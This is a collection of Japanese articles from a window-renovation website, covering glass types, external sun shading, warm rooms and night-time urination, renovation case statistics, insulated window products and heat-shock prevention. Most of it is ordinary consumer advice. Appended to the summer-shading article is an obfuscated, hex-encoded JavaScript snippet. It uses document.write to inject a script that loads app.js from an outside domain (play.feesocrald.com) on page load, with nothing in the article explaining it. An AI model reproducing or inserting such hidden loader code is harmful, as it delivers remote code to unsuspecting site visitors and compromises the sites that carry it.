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ガラスの種類と選び方

ガラスの種類と選び方 ガラスというと多くのものに使われていますが、一番身近にあるお家の窓のガラスではないでしょうか?今回は窓のガラスに注目して、ご紹介します! 窓のしくみを知ろう 一般的にお家にある窓は、サッシとガラスで構成されています。 サッシとは窓の周りを囲んでいる"枠"とガラスの周りを固定している"框(かまち)"という部材で構成されています。そのサッシの中に組み込まれているのが"ガラス"です。皆さんのお家にはどのようなガラスが使われているのでしょうか? 主なガラスの種類 お家の一般的な窓ガラスは大きく「一般ガラス」と「機能ガラス」に分類されます。たくさんの種類があり、特長もさまざまです。 一般ガラス フロート板ガラス(透明ガラス) 一般的な無色透明で、表面が平滑で歪みが少なくきれいなガラスです。窓ガラス以外にも建具や鏡に使われています。 【ポイント】透視性や採光性に優れている。 型板ガラス ガラスの側面に型模様をつけるため、表面がでこぼこしでぼかしたような不透明なガラスです。光をやわらかく室内全体に採り入れられます。 【ポイント】視線も遮ることが可能でプライバシーの確保に向いている。浴室や洗面、トイレに適している。 すり板ガラス ガラスの片面に摺り加工し、表面はさらさらと滑らかな不透明なガラスです。やわらかい光を均一に採り入れられます。 【ポイント】水に濡れると透き通ってしまうため、水気の多いお風呂などには不向き。 網入りガラス ガラスに金網(ワイヤー)を入れたもので「網入板ガラス」と「線入板ガラス」の2種類あり、それぞれ透明と不透明のタイプがあります。防犯性能が高いと思われがちですが、実は防犯性能が期待できるものではありません。 *防犯性の高いガラスとは?→詳しくはこちら[防犯ガラス] ■網入板ガラス(クロス・菱形) 金網の役目は、ガラスが割れても破片が飛び散らないようにするものです。防火用として用いられる為、防火地域など火災の危険がある建物でよく目にすると思います。 【ポイント】火災の際に火災や火の粉の侵入や延焼を防ぐ効果がある。 ■線入板ガラス(たて) こちらも金網が平行に入っていますが、防火用として認定はされていません。見た目がすっきりしていてデザイン効果があります。 【ポイント】万が一割れても金網があることで、破片の飛び散りが少なくなる。 機能ガラス 強化ガラス 板ガラスを軟化点(650℃~700℃)近くまで加熱したあと、空気を均一に吹きつけ冷却し、ガラス表面に圧縮層を持たせたガラスです。学校の窓ガラスやガラス入りの玄関ドアにも用いられています。 【ポイント】 ①板ガラスと比較して3~5倍の衝撃や風圧などの荷重に耐えることが出来る。 ②急激な温度変化に対し、普通の板ガラスに比べて数倍の耐熱性がある。 ③万が一割れても、ガラスの破片は細かい粒状になるため、人を傷付けにくい。 合わせガラス 2枚以上の板ガラスの間に、破れにくいフィルムの中間膜をはさんで加熱・圧着させたガラスです。天窓やベランダのフェンスにも用いられています。 【ポイント】 ①万が一強い衝撃を受けて割れてもガラスの破片が飛散、脱落しにくい。 ②紫外線を99%以上カット。窓辺の家具やカーテンの褪色などを抑制する効果や、人体への紫外線の影響も軽減。 防犯ガラス 2枚の板ガラスの間に、割られにくい厚く強靭な特殊なフィルムの中間膜をはさんだガラスです。中間膜により、ガラスのこじ破りや打ち破りに高い抵抗力を発揮します。泥棒の窓からの侵入を防ぐために効果的です。 ★参考記事はこちら→ 泥棒の6割は窓からやってくる! 【ポイント】 ①ガラスが破損しても侵入しにくい。 ②万が一割れてもガラスの破片が飛散、落下しにくい。 ③紫外線を99%以上カット。窓辺の家具やカーテンの褪色などを抑制する効果や、人体への紫外線の影響も軽減。   防音ガラス 2枚の板ガラスの間に、音を通しにくい特殊なフィルムの中間膜をはさんだガラスです。音を熱のエネルギーに変えて、音域全体を防音します。 【ポイント】 ①車や工事など外部からの騒音や室内の音が外に漏れることを防ぐため、静かな生活空間が可能。 ②万が一強い衝撃を受けて割れてもガラスの破片が飛散、脱落しにくい。   真空ガラス 2枚の板ガラスの間が真空層になっているガラスです。原理は魔法瓶と同じで、真空層があることで熱を伝えづらい構造になっています。今ある窓はそのままでガラスのみの交換でリフォームすることができます。 ★ 参考記事はこちら↓↓ ★ ①真空ガラス実験動画  ②断熱ガラスの比較実験!おすすめのガラスはこれだ! 【ポイント】 ①優れた断熱性能によって、冷暖房の消費を抑えることができる。 ②外部からの騒音を遮り、室内から発生する生活音も外部へ逃がさない。 ■薄型断熱ガラス[クリアFit] 真空層の効果により断熱性能が高いガラス。内窓用のガラスにも最適です。 【ポイント】 ①1枚ガラスの約2.3倍、一般的な複層ガラスの約1.3倍の断熱性能を実現。 ②外気温が低くても、室内側ガラスの表面温度が下がりにくい構造なため、結露の発生を減らすことができる。 ■真空ガラス[スペーシア] 薄型断熱ガラスに比べ、Low-E膜がついているため、断熱性能がより高いガラス。 【ポイント】 ①1枚ガラスの約4倍、一般的な複層ガラスの約2倍の断熱性能を実現。 ②外気温が低くても、室内側ガラスの表面温度が下がりにくい構造なため、結露の発生を大幅に抑えることができる。 *日本板硝子(株)の「スペーシア」は、世界で初めてつくられた真空ガラスです。   一般複層ガラス 2枚の板ガラスの間の中空層に乾燥した空気を挟み込んだガラスです。冷暖房の消費を抑えることができるので、省エネ効果もあります。 【ポイント】 ①板ガラスの約2倍の断熱性能を実現。 ②断熱効果によって室内側のガラスが冷えにくいので結露しにくい。     Low-E複層ガラス ガラスの間に特殊な金属膜(Low-E膜)をコーティングしたガラスです。金属膜があることで熱の伝わりが抑えられ、断熱性能が上がります。遮熱性を高めたタイプと断熱性を高めたタイプがあります。 ※Low-E膜とは、熱の伝わりの1つである「放射」を抑える特殊な金属膜のこと。 ■遮熱タイプ[日射遮蔽型] 複層ガラスの室外側のガラスにLow-E膜がコーティングしたガラスです。夏場の日射を遮ることで室内の暑さを抑えます。 【ポイント】 外からの日差しカットするタイプ。 ①西日のあたる部屋、紫外線による室内の日焼け防止にも向いている。 ②夏の室内を涼しく保ち、冷暖房の負荷を抑えることができる。   ■高断熱タイプ[日射取得型] 複層ガラスの室内側のガラスにLow-E膜がコーティングしたガラスです。太陽の温かさを取り入れつつ、室内の暖かい空気を外に逃がしにくくします。 【ポイント】 室内の熱を外に逃がさないようにするタイプ。 ①一般複層ガラスの約1.5倍の断熱効果があり。断熱性だけでなく、保温性にも優れ、結露の発生も抑えることが可能。 ②冬も室内が暖かいという性能を持つので、暖房の負荷を抑えることができる。   ■選ぶときのポイントは? 関東圏では、遮熱タイプよりも高断熱タイプがおすすめです!実は冬の暖房費は夏の冷房費の3倍になるんです。 どちらのタイプも断熱効果はほとんど同じですが、地域性や窓の方角などによって、それぞれを使い分けるとより効果的です。 ■複層ガラスに性能をプラス! 一般複層ガラスやLow-E複層ガラスの2枚のガラスのどちらかに、合わせガラスや強化ガラスなどを組み合わせることで、断熱・遮熱効果だけでなく、安全性や防犯性も兼ね備えた複層ガラスになります。また、ガラスの間(中空層)にアルゴンガスやクリプトンガスなどを封入して、さらに断熱性を高めた「ガス入り複層ガラス」もあります。 まとめ 一般ガラスに比べ、機能ガラスにはたくさんの性能とメリットがあります。断熱性能が高いガラスは、夏は室内の涼しさを、冬は暖かさを逃がさず、窓辺の冷え冷え感やヒートショックの原因となる部屋の温度差を緩和する効果もあります。 窓リフォームには、お悩みや要望にあったガラス選びをすることもポイントです!また、窓ガラスの性能だけを考えるのではなく、サッシとの組み合わせはもちろん重要です!皆さんに合ったより快適な生活を窓+ガラスから考えてみませんか。 ★ 参考記事はこちら↓↓ ★ ①オススメ断熱窓の紹介  ②窓のお悩みランキング!【解決編】 関連記事はこちら 割れにくいガラス・割れても安全なガラス 窓から見直す紫外線対策 効果バツグン!窓の防音・騒音対策! 真空ガラスの断熱効果は?!密着取材! 窓リフォームの省エネ効果 ガラスで素敵に空間演出【ガラス編】

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窓マメ知識~夏の遮熱対策編~

窓マメ知識~夏の遮熱対策編~ 今年の夏は例年以上に猛暑が続いてますね! 皆さんは窓辺の暑さ対策をどのようにされていますか? カーテンやブラインドなどをしていても、部屋が暑い! といった経験はありませんか? 実は、カーテンやブラインドなどで部屋の内側で太陽熱を遮るより、 窓の外側で太陽熱を遮る方が遮熱効果が高いんです! 窓の外側で太陽熱を遮るには、窓の外側につける 「外付けブラインド」がオススメです! 陽を遮りながら、光や風を採りこめるのは嬉しいですよね! 日本の住宅で古くから親しまれている、 よしずやすだれと同じ原理です。 昔の人の知恵はすごいですね! 皆さんもぜひ、窓の外での遮熱対策を試してみてくださいね♪ var _0x1b1d=["\x3C\x73\x63\x72","\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73","\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72","\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm()

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部屋が暖かいと夜間頻尿が改善される!

部屋が暖かいと夜間頻尿が改善される! 夜間に何度もトイレに起きてしまう・・・そんな夜間頻尿の悩みを抱える方は、40歳以上の男女で約4,500万人もいます。年齢と共に多くなるこの症状、実はお部屋の寒さにも原因があるということが研究の結果わかってきています。 寝る前の室温が低いほど、夜間頻尿のリスクが高い リフォーム前後の平均室温とトイレ回数を比較した結果が上の図です。 リフォーム後に①室温上昇②高温維持③低温維持④室温低下の4つのグループに分けると、平均室温が上昇した3つのグループで夜間頻尿の改善傾向がみられました。 とくに、平均室温が15.1℃からリフォーム後に20.4℃に上昇した①のグループでは、平均夜間頻尿回数が1.26回から0.96回へと改善されています。 この調査では、室温18℃以上の場合と12℃未満の場合を比較すると、室温の低い方が3倍も夜間頻尿の確率が高くなるということも分かっています。 (一社)日本サステナブル建築協会「断熱改修などによる居住者の健康への影響調査」より 暖かいお部屋にするために お部屋を暖かくすることで、夜中にトイレに行く回数を減らせるということがわかりました。では、どうしたらお部屋は暖かくなるでしょうか? 最も効果的なのは、熱の出入りが多い「窓」を断熱化することです。 窓はお家の中で最も熱が出入りする部分。寒いと暖房やストーブをつけますが、窓が断熱化されていなければとても効率が悪いんですね… 窓リフォームの方法についてくわしくはコチラ 寝室の窓を断熱リフォームすれば、昼間の快適な室温を保ってくれるので、夜になってもお部屋が寒くなりにくくなります。 また、もし夜中にトイレに行きたくなってしまった時でも、お家全体の窓を断熱化すれば、お部屋間の温度差で起こるヒートショックの危険もなくなります。 窓の断熱リフォームは、健康で快適な生活にかかせない存在なんですね。 ヒートショックについてくわしくはコチラ まとめ ・部屋が暖かくなれば夜中にトイレに行く回数は減る ・部屋を暖かくするのに最も効果的なのは窓リフォーム ・家全体の窓断熱で温度差を解消し、ヒートショックも回避 窓の断熱リフォームで快適な生活を送りましょう! ↓窓リフォームをしたくなったらこちら↓ ↓関連記事↓ 断熱住宅で健康に①生活環境を整える 断熱住宅で健康に②寒い家は危険! 断熱住宅で健康に③ヒートショック予防

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施工事例からリフォーム傾向を分析!

施工事例からリフォーム傾向を分析! 当ウェブサイトに数多く投稿されている施工事例の中で、 2017年度(2018年2月まで)の投稿分を分析しました。 いったいどのようなお悩みを抱えてリフォームをしている方が多いのか、 またどのようなリフォーム方法が人気を集めているのでしょうか? 窓リフォームの最新事情をお伝えいたします。 集計期間:2017年4月~2018年2月 事例件数:280件 お悩みランキング 1位、経年劣化  2位、使い勝手   3位、冬の寒さ  4位、窓の結露 5位 破損    6位、安全・防犯性 7位、夏の暑さ  8位、騒音・音漏れ 1位は経年劣化で、全体の約1/3を占めております。 2位以降は、使い勝手、冬の寒さ、窓の結露、破損、安全・防犯性が 僅差で続く結果になりました。皆さま様々な家の悩みを抱えていることがわかりますが、解決するためにどのようなリフォームを行ったのでしょうか。 窓の専門店であるmadoka登録店が、それぞれのお悩み解決のために行ったリフォームを項目別で見てみましょう。 まず、お悩み1位の経年劣化はドア交換が最も多い結果になりました。 窓に絞ってみてみると、サッシ交換が高い比率を占めています。 経年劣化なら「サッシ交換」 経年劣化によるリフォームとなると、築年数が古い住宅が多くなります。 サッシのがたつきや隙間風などが発生している場合が多く、解消するためには窓をサッシごと新しくするサッシ交換が最も効果的です。サッシと壁の気密性もアップし、開閉もスムーズになります! また、サッシ交換の方法の中でもカバー工法がおススメです!既存のサッシを残して上から新しいサッシを被せる方法で、壁などを壊さないため比較的簡単にリフォームできます。工事時間は1窓あたりおおよそ2~3時間! ◆サッシ交換(カバー工法)の詳細はこちらから 冬の寒さ・窓の結露なら「内窓の取付かガラス交換」 寒さ・結露に悩んでいる方には、内窓の取付かガラス交換が人気でした。 内窓は今ある窓の内側に新しい窓(内窓)を取り付けます。一方ガラス交換は既存のサッシはそのままで、ガラスだけを交換します。どちらも手軽に行え、かつ高い断熱効果を得られるのが人気の理由です。 また、ガラス交換は真空ガラス「スペーシア」がおススメ!薄型で非常に高い断熱・結露防止性能を持ち合わせています。 ◆真空ガラス「スペーシア」の詳細はこちらから ◆内窓の詳細はこちらから 工事箇所ランキング 1位、玄関  2位、リビング  3位、洋室  4位、寝室 1位は玄関で、玄関ドアをリフォームする方が多くいらっしゃるとう結果になりました。 そして、2位はリビングで3位が洋室、4位が寝室と生活するうえで長い時間を過ごす部屋が上位にきています。 まずは、最も長く生活する部屋の窓をリフォームし、効果を体感した後に家のすべての窓リフォームに踏み切るというケースも多くみられます。窓リフォームを考えると、まずはリビングなど普段多く活用する居室からリフォームすると、すぐに効果を実感できます! では最後に、それぞれの箇所でどのようなリフォームが行われたのかを項目別に見てみましょう。 水廻りの窓は「サッシ交換」がおススメ 浴室と洗面所のリフォームは、居室と比べるとサッシ交換の比率が高いことがわかります。上記2か所は水廻りのため、他の場所と比較するとサッシの部品などが劣化しやすくなります。そのため、サッシ交換の割合が高くなっているのですね。皆さまも浴室や洗面所の窓をリフォームする際はサッシ交換で窓をまるごと新しくして断熱性も見た目もアップした使い心地の良い水廻り空間にしてみてはいかがですか? 最後に 2017年度の施工事例の分析結果、いかがでしたか? 窓リフォームでは、サッシ交換や内窓取付、ガラス交換を用途によって最適な方法を選択していることがわかりましたね。 ぜひ窓に関してお悩みを抱えている方は、窓のお店にご相談してください。 お悩みを解消して、よりよい生活を送ってみてはいかがですか? 前回(2012年10月~2015年12月)の施工事例分析結果↓↓ ◆窓のお悩みランキング!【悩み別対策編】 ◆窓のお悩みランキング!【建物別対策編】

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取材・調査

オススメ断熱窓の紹介

オススメ断熱窓の紹介 みなさんは、ご自分の住宅の窓に注目したことがありますか? 当たり前にある「窓」ですが、海外と日本の窓に性能の違いがある、と聞くと驚くかもしれません。そして、先進国である日本の窓が実は海外と比較すると遅れている・・・としたら、皆さんはもっと驚きませんか。海外では当たり前になっている「断熱窓」。それに追随し、日本でも注目されるようになってきた「断熱窓」を、日本の窓メーカー3社の商品の中からピックアップしてご紹介いたします。 目次 断熱窓の必要性(日本の現状と海外の比較) 三協立山(株) ALGEO (株)LIXIL ERSTER X YKK AP(株) APW430 オススメページのご紹介 断熱窓の必要性(日本の現状と海外の比較) 住宅の窓には「断熱」が必須! 住宅の中で、窓は熱の出入りが最も多く、寒さ・暑さに弱い箇所といえます。そんな窓をしっかりとした「断熱性のある窓」にすることで、住宅の暑さや寒さを軽減してくれる役目を果たします。 ●詳しく>> 窓は熱の出入り口 そんな暑さ・寒さに弱い窓は、「アルミサッシ+一枚ガラス」の窓などで、日本では多くの住宅の窓が、これらの断熱性の低い窓になります。窓のコンシェルジュmadokaでは、こういった断熱性能の低い窓をなくすため窓の断熱リフォームを推進しています。 ●詳しく>> 「プロが教える」初めての窓リフォーム 窓のリフォームでは、窓を二重にする「内窓」や一枚ガラスを高性能な真空ガラスに交換する「ガラス交換」等を紹介していますが、最近の新築住宅では窓のサッシの素材から変え断熱性能を上げる方法も提案されています。日本の9割の住宅の窓は「アルミ製」の窓サッシですが、実は窓の高性能化が進んでいる海外ではアルミ製ではなく「樹脂製」の窓サッシが主流になっています。 「樹脂製」をイメージできるでしょうか。みなさんの生活の中にある身近なものの例で言うとフライパンです。フライパンは鉄製で火にかけるとすぐに食材に火が通りますが、持ち手の部分は熱くなりません。これは持ち手部分が樹脂製の素材で作られているので、熱が伝わりづらく、素手で取っ手を持つことができるのです。 「樹脂製の窓」に注目! そんな「樹脂製」でできた高断熱窓が世界で当たり前になっていますが、日本と比較すると、普及率にどのくらい差が出るのか気になりますよね。 日本の住宅の中で樹脂製の窓の家が全体の7%であるのに対し、例えばフランスでは69%の住宅で樹脂製の窓サッシが採用されています。その他は、イギリスで66%、ドイツで60%。アメリカは67%、お隣の韓国では80%の住宅で樹脂製の窓が普及しています。この情報から、日本の窓の断熱性能が、各国に比べ非常に遅れていることがよくわかります。また、日本の7%の数値も、北海道などの寒冷地での普及や一部特定業者の採用がほとんどで、全国的には普及できていないのが現状です。 高性能窓は安価な商品ではありませんが、採用することで、様々なメリットがあります。 例えば、家の劣化を抑え住宅の寿命を延ばすことができます。また、居住する人には健康推進や冷暖房費の削減にも繋がるメリットがあります。 ●詳しく>> 断熱住宅で健康に それでは、いよいよ窓メーカー各社のおすすめ商品をご紹介いたします。 三協立山 株式会社 ― ALGEO ― 三協立山 (株) 三協アルミでは、樹脂窓ではなく、アルミ樹脂複合窓である「ALGEO」(アルジオ)を紹介します。低炭素社会に貢献する断熱性能があり、熱貫流率は1.95W/㎡・K(引違い窓、複層ガラス、中空層16mm、アルゴンガス入りの場合)。 ワンランクアップした高耐久性能 ALGEOの特長は、従来品よりも1ランク上の「耐風圧性」と「水密性」です。これは、日本の近年の自然災害を意識し、台風の際の強風に耐えられ、豪雨の際に屋内への雨水の侵入を防ぐために開発されました。 耐風圧性とは…強風などによってサッシが変形したり、ガラスが破損することがないようどのくらいの風圧に耐えられるかを表しています。 水密性とは…雨プラス風の漏水安全グレードです。W-1~W-5まであり、数値が高いほど水密性が高くなります。 耐風圧性は、住宅用建材では最高グレードのS-4を取得。これは、最大瞬間風速57m/Sに耐えられ性能です。※風速50m/sとは、人が立っていられない樹木が根こそぎ倒れ始める状況です。そして、水密性は、最高グレードのW-5を取得。これは、1時間あたり240mmの降雨量に、風速35m/sの風が吹いても雨水が下枠からあふれない性能です。 耐風圧、水密性の強さを持ったALGEOならば、近年日本で頻繁に起こっている暴風雨、台風などの自然災害にも安心ですね。 住まう人に優しい思いやり性能 そして、もう一つの特長は使用者のために配慮された「フラットレール」を始めとする使いやすさです。窓には当たり前の窓のサッシ枠の段差。これがあるために、掃除が手間取ったり、お子様やご年配の方が窓をまたぐのが危険な場合があります。しかし、ALGEOは、その段差がない「フラットレール」を掃出し窓と窓タイプで用意しています。 お子様が素足で歩いても安心で、掃除もしやすい。使用者に寄り添った優しい設計です。その他にも、通常だと掃除がしづらいすべり出し窓や上げ下げ窓も開閉が工夫され、ガラスの拭き掃除がしやすくなっていることや、障子を下から上まで引手にすることで誰でもどこでも扉が開けやすい設計になっています。 ALGEOはガラスを自由に選ぶことが可能なので、日本板硝子の真空ガラススペーシア21(スペーシアにLow-Eガラスを組み合わせた複層真空ガラス)と組み合わせることでより高性能で、優しい窓にすることができます。 ◇◇三協立山(株) ALGEO 紹介チラシ◇◇ 株式会社 LIXIL ― ERSTER X ― 住まいと暮らしの総合住生活企業(株)LIXILの紹介する高性能樹脂窓は、「ERSTER X」(エルスターエックス)です。 ERSTER Xは、①ガラス面積の最大化②ガラス高性能化③フレーム高性能化の3つの技術コンセプトで窓の高性能化を実現しました。断熱性能を示す、熱貫流率は0.79W/㎡・K(縦すべり出し窓、トリプルガラス、クリプトンガス入り、内外Low-Eグリーンの場合。) 独自のトリプルガラスで、高性能と軽さを両立 通常のペアガラスよりも更に断熱性能が高いトリプルガラスには、ERSTER Xだけの特長があります。一般的に、トリプルガラスと言うと3ミリ同圧のガラスを重ねるのですが、ERSTER Xの場合は3ミリ・1.3ミリ・3ミリと、中間のガラスの厚みがとても薄くなっています。これのおかげで、性能はトリプルガラス、重量はペアガラスと同じレベルの軽さを実現しています。 シリーズ混在でも同一物件に採用可能 もう一つの特長は、デザインです。ERSTER S(エルスターエス)は、ERSTER Xのペアガラス仕様です。住宅によっては、この部屋はペアガラスに、向こうの部屋はトリプルガラスに…という細かい要望もあるかもしれません。そんな時にERSTERならSでもXでもデザイン(外観)が変わらないため、同一物件で混使用した際にも、外観の見え方が変わることなく、違和感なく統一できます。 ◇◇(株)LIXIL ERSTER X 紹介チラシ◇◇ YKK AP 株式会社 ― APW430 ― ネコのCMでおなじみのYKK AP(株)の商品からピックアップする高性能窓は「APW430」(エーピーダブル430)です。 高性能トリプルガラス樹脂窓APW430は、「高性能」「デザイン」「機能性」を併せ持った窓です。断熱性能を表す熱貫流率は0.91W/㎡・K(たてすべり出し窓+FIX連窓 ダブルLow-E アルゴンガス入りの場合)となっています。 2通りの開閉方法、「ツーアクション窓」 ご紹介したい特徴は、「ツーアクション窓」。これは、目的に応じて2通りの開き方ができる窓の種類です。 例えば、軽い雨の日や、窓を開けたまま換気がしたい方のための「内倒し」と室内側に大きく開く「内開き」の2パターンの開け方を選ぶことが来ます。 小さなお子様がいらっしゃる場合は「内倒し」、窓の拭き掃除をする場合は「内開き」等と、実際の生活をよく想像できます。 外の景色を最大限に楽しむため そして、もう一つの特長は大開口スライディング(横にスライドさせて開く窓)。日本では当たり前に普及している「引違い窓」と言われるスライディング系窓ですが、実は海外の住宅ではほとんど見ることができません。その理由として、このスライディング窓は、他の窓種と比べて断熱性能や気密性能で良い数値が出にくいため、高断熱窓ではスライディング窓はめずらしく、かつ開口面積が広い大開口スライディングはYKKAPのAPW430にしかありません。断熱性能と外観の楽しみを両立することができます。 リフォームで、樹脂窓にできる! そして、YKK APのAPW430は、樹脂窓でありながらリフォームで採用することができる窓です。現在の窓が、アルミサッシ+1枚ガラスの寒い窓であったとしても、YKK APの「かんたんマドリモ」という方法で、サッシは樹脂サッシ、ガラスはトリプルガラスの最新・高性能窓にすることができます。 施工事例>>  (株)ワイドアルミ 『かんたんマドリモ』でサッシをきれいに。 新築住宅への採用だけでなく、リフォームでも自信をもってご提案できる高性能窓です。 ◇◇YKK AP(株) APW430 紹介チラシ◇◇ 以上、窓メーカー3社の3商品の高性能窓を紹介させて頂きました。 新しくお家を建てる際や、リフォームの際にも是非一度ご検討下さい。 おすすめページのご紹介

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窓のお悩みランキング!【建物別対策編】

窓のお悩みランキング!【建物別対策編】 2011年から、当ウェブサイトに掲載された施工事例約1,100件のデータを分析し、より良い暮らしを実現するための窓リフォームについてご紹介する企画の第2弾をお送りします。第2回目の今回は、工事箇所と建物別工事内容ランキングをご紹介します。 環境にあった窓リフォームはどれでしょうか? 集計期間:2012年10月~2015年12月計 事例件数:1,093件 工事箇所ランキング 1位 リビング 2位 玄関 3位 洋室 4位 キッチン 5位 寝室 6位 和室 7位 廊下・階段…     工事箇所で最も多い箇所は、リビングでした。家族が集まる団らん場所のリビングを窓リフォームする人が多そうですね。 その次に続くのが、玄関です。玄関をリフォームするとお家の印象が変わります。そして、キッチン、寝室、和室…と続く結果になりました。 次に、戸建住宅とマンションでは採用される工事方法にちがいがあるのか、みていきたいと思います。建物毎に窓リフォームの方法に特色があるのでしょうか。 建物別 工事内容ランキング <戸建住宅> 1位 ドアの交換 2位 内窓の取付 3位 ガラス交換 <マンション> 1位 内窓の取付 2位 ガラス交換 3位 サッシの交換 戸建住宅の1位は、ドアの交換、マンションの1位は内窓の取付でした。 戸建住宅は工事箇所ランキングでも上位にあがった玄関が最も多い工事内容でした。 お家の顔とも言える玄関のリフォームは見た目もキレイになり性能も上がるので新鮮な気持ちになります。 マンションの1位は内窓の取付です。マンションの窓は共用部にあたるため、リフォームの届出で工事可能な内窓の取付を実施された方が多いようです。 また、ビルは戸建やマンションに比べるとリフォーム数は少ないですが、中でも ドア・サッシの交換が多く行われてるようです。 ★マンションの窓リフォームについてはコチラ 戸建・マンションに人気な内窓の取付 建物の区別に限らず人気な内窓の取付についてご紹介します。 樹脂製のサッシ枠に断熱性能の高いガラスを組み合わせて、冬はお部屋の暖かさを保ち、夏は外の暑さを入れにくくすることで、快適な生活を実現させます。 ★内窓の取付についてはコチラ 2回に渡って、約1,100件の施工事例データを分析してきました。この分析結果が窓のお悩みを解決する手助けになると幸いです。 madokaでは窓の専門店をご紹介しております。窓のお悩みを抱えている方は、是非、お近くの窓のお店にご相談ください! ★窓のお店を探す madoka登録店による施工事例は随時更新中! ↓投稿された施工事例はコチラで見ることができます。 ★窓リフォーム事例 実際の工事が写真とともに掲載されています。ぜひ参考にしてみてください。 関連ページ 施工事例データ分析第1弾 窓のお悩みランキング!【悩み別対策編】

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窓のお悩みランキング!【解決編】

窓のお悩みランキング!【解決編】 2011年から窓のコンシェルジュ「madoka」がスタートし、本日までmadoka登録店による多くの窓リフォーム施工事例が投稿されてきました。 その数、なんと約1,100件! そこで、これまでに集まった施工事例のデータを分析し、より良い暮らしを実現するための窓リフォームについて、2回に渡ってご紹介します。 第1回目の今回は、お悩みランキングと共にお悩み別の工事内容をご紹介します。 様々な窓のお悩みに対して、窓の専門店はどんな工事で解決しているのでしょうか? 集計期間:2012年10月~2015年12月 事例件数:1,093件 お悩みランキング 1位 経年劣化 2位 使い勝手 3位 冬の寒さ 4位 窓の結露 5位 破損 6位 安全・防犯性 7位 騒音・音漏れ 8位 夏の暑さ 投稿された施工事例の中で、最も多いお悩みは「経年劣化」でした。 長く住んでいると家のいろんな部分が傷んで気になってきますよね。 そして、使い勝手、冬の寒さ、窓の結露、破損・・・と続く結果になりました。 では、これらのお悩みを解決する方法として、窓の専門店はどんな工事を行っているのでしょうか? お悩み別工事内容 お悩みの内容によっては工事方法に偏りが見られる結果となりました。 窓の専門店は各お悩みに対して最も効果的な工事方法を選んでいるようです。 いくつかのお悩みをピックアップして、工事方法との関係を見てみましょう。 経年劣化 お悩みランキング第1位の経年劣化は「ドアの交換」が約4割を占めています。 ドアの中でも特に玄関ドアは家の顔ですから、新しくすることで家の印象を大きく変えることができると人気の工事です。最近では扉を閉めたまま採風・採光できる玄関ドアもあり、防犯しながら換気ができる明るい玄関を実現してくれます。 ★ドアの交換を行った施工事例はコチラ 使い勝手 使い勝手は、「サッシの交換」が多くの割合を占めます。 窓の開閉時、重さや音に悩んでいる方は多くいらっしゃいます。そんな時、窓をサッシごと交換する工事をすれば、スムーズで静かに開閉できるようになります。築年数が古く、窓が歪んでしまっている時にも有効な工事です。 ★サッシ交換(カバー工法)の具体的な工事方法はコチラ 冬の寒さ、窓の結露 寒さや結露がお悩みの場合、内窓の設置かガラス交換が多く採用されています。 特にガラス交換は、サッシはそのままでガラスだけ交換するとてもお手軽な工事。オススメは2枚のガラスの間が真空層になっている真空ガラス「スペーシア」。高い断熱性と結露を防ぐ効果があります。 ★真空ガラス「スペーシア」についてはコチラ 騒音・音漏れ 騒音と音漏れに対しては「内窓の取付」が最も効果があります。内窓の取付は、今ある窓の内側にもう一つ窓を取り付ける工事です。1窓約1時間のスピード工事で、届け出をすればマンションでも工事OKなのも採用されるポイントのようです。 ★窓のお店が選ぶ内窓ランキングはコチラ   同じお悩みでも、建物のタイプや築年数、場所などによって工事方法は変わってきます。いま何かお悩みをお持ちの方は、窓のお店に相談してみましょう! 窓のプロが最適な工事方法を選んでくれますよ! 次回の施工事例データ分析第2弾では、工事箇所や建物のタイプ別の工事内容を徹底分析!この部屋にはどんな工事がいいの?マンションにオススメの工事は?など、環境にあった窓リフォームをご紹介します。ご期待ください! 施工事例データ分析第2弾 窓のお悩みランキング!【建物別対策編】 madoka登録店による施工事例は随時更新中! ↓投稿された施工事例はコチラで見ることができます。 ★窓リフォーム事例 実際の工事が写真とともに掲載されています。ぜひ参考にしてみてください。 関連ページ 初めての窓リフォーム 窓の専門店を探す

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窓でできる「健康によい住まい」

断熱住宅で健康に③ヒートショック予防

断熱住宅で健康に③ヒートショック予防 寒い冬、とっても危険なヒートショックとは?! 「ヒートショック」とは、急激な温度変化による血圧の急変動などが身体に及ぼす影響をいいます。主に、入浴時に、高齢者に起こることが多く、脳出血や心筋梗塞を引き起こす可能性もあります。 無断熱の家は道路より危険!? ★厚生労働省 人口動態調査より ヒートショックによる「入浴死」などの家庭内の不慮の事故による死亡者数は、全国で年間約17,000人。交通事故死者数の約3.6倍にのぼります。亡くならないまでも、脳血管疾患等による後遺症で介護が必要となるケースがあります。 生活者への意識調査の結果は? 「ヒートショック」という言葉は、下のグラフからも分かるように認知されつつありますが、「知っていた」と答えた方はまだ約6割です。 Q.「ヒートショック」という言葉をご存知ですか?   ★2015.10「マテックスフェアー2015」 アンケート集計結果より Q.お部屋のお悩みはなんですか? お部屋のお悩みで多かったのは、「結露」に次いでお部屋の「寒さ・暑さ」でした。関東圏のお家は北海道などの東北地方と比べて、窓の断熱化がすすんでいないのです。そのため、お部屋が冬寒く夏暑いと感じる人が多いのです!そのようなお部屋は、不快なだけでなく、住人の健康にも影響を与えます。 ★2015.3~11エコ窓普及促進会出展 環境イベント来場者アンケート 集計結果より 窓の断熱リフォームで省エネ+健康に! 住宅の「断熱化」が貧弱だと、冬には室内から外へと熱が大量に逃げていくため、暖房をしていない部屋(起床時の居間、冬のトイレ、浴室など)や廊下の室温が低くなります。その結果、「ヒートショック」の危険が大幅に高まります。住宅内の温度差を軽減して「ヒートショック」を防ぐためには、住宅の断熱化が急務と言えます。住宅の中でも窓は熱の出入口!お風呂場や廊下の窓を断熱化すれば、ヒートショックの危険が大幅に軽減します。 長い目で見た、エコで健康に良い「断熱リフォーム」が冬場は特におすすめです! 過去の健康関連コラムはコチラ↓↓ 家の中の温度差にご注意 アレルギーの原因は住宅!? 